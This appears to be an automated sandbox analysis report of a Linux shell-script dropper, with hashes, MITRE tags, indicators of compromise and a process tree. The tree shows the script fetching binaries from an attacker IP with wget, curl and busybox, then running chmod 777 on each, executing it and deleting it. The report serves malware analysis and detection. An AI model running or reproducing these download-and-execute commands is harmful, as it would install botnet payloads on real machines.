919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50

Analysis

max time kernel
73s
max time network
75s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/10/2024, 01:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
Size 10KB
Sample241022-b3vmcszala
SHA256 919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50
MD5 773f960bdaaeb4b31d1d3cc025011ddd
SHA1 3ff6b2c737b7ddd65193c2da20432094f24e3cc0
SHA512 20674cc203f48bebc1c611fd97c23cf110e4e07397707901e1d8d59080eb149bae6c964158b753392b9de7dd08028d99c6dbd03d154ee2870216777b0a49dcc3
SSDEEP 192:SPjbJ1m+aB2WpONx9kgTPjb4+aB2WRx9Hx:u1m+aB2WpOSV+aB2W/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
865	chmod
907	chmod
931	chmod
937	chmod
805	chmod
919	chmod
955	chmod
973	chmod
775	chmod
871	chmod
967	chmod
820	chmod
961	chmod
889	chmod
895	chmod
913	chmod
745	chmod
839	chmod
979	chmod
985	chmod
925	chmod
949	chmod
877	chmod
883	chmod
901	chmod
943	chmod
751	chmod
814	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	curl
File opened for modification	/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	curl
File opened for modification	/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	curl
File opened for modification	/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	curl
File opened for modification	/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	curl
File opened for modification	/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	curl
File opened for modification	/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	curl
File opened for modification	/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	curl
File opened for modification	/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	curl
File opened for modification	/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	curl
File opened for modification	/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	curl
File opened for modification	/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	curl
File opened for modification	/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	curl
File opened for modification	/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	curl
File opened for modification	/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	curl
File opened for modification	/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	curl
File opened for modification	/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	curl
File opened for modification	/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	curl
File opened for modification	/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	curl
File opened for modification	/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	curl
File opened for modification	/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	curl
File opened for modification	/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	curl
File opened for modification	/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	curl
File opened for modification	/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	curl
File opened for modification	/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	curl
File opened for modification	/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	curl
File opened for modification	/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	curl
File opened for modification	/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	curl

/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:743
- /bin/chmod
  chmod 777 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  ./2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:750
- /bin/chmod
  chmod 777 UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  ./UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:757
- /bin/chmod
  chmod 777 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  ./5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:800
- /bin/chmod
  chmod 777 uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  ./uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:813
- /bin/chmod
  chmod 777 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  ./8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:819
- /bin/chmod
  chmod 777 wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  ./wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:834
- /bin/chmod
  chmod 777 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  ./3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:862
- /bin/chmod
  chmod 777 aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  ./aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:870
- /bin/chmod
  chmod 777 EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  ./EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:876
- /bin/chmod
  chmod 777 VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  ./VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:882
- /bin/chmod
  chmod 777 Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  ./Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:888
- /bin/chmod
  chmod 777 YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  ./YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:894
- /bin/chmod
  chmod 777 hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  ./hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:900
- /bin/chmod
  chmod 777 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  ./8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:906
- /bin/chmod
  chmod 777 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  ./8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:912
- /bin/chmod
  chmod 777 wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  ./wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:918
- /bin/chmod
  chmod 777 UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  ./UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:924
- /bin/chmod
  chmod 777 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  ./5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:930
- /bin/chmod
  chmod 777 uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  ./uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:936
- /bin/chmod
  chmod 777 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  ./3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:942
- /bin/chmod
  chmod 777 aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  ./aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:948
- /bin/chmod
  chmod 777 YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  ./YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:954
- /bin/chmod
  chmod 777 hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  ./hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:960
- /bin/chmod
  chmod 777 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  ./8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:966
- /bin/chmod
  chmod 777 EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - File and Directory Permissions Modification
  PID:967
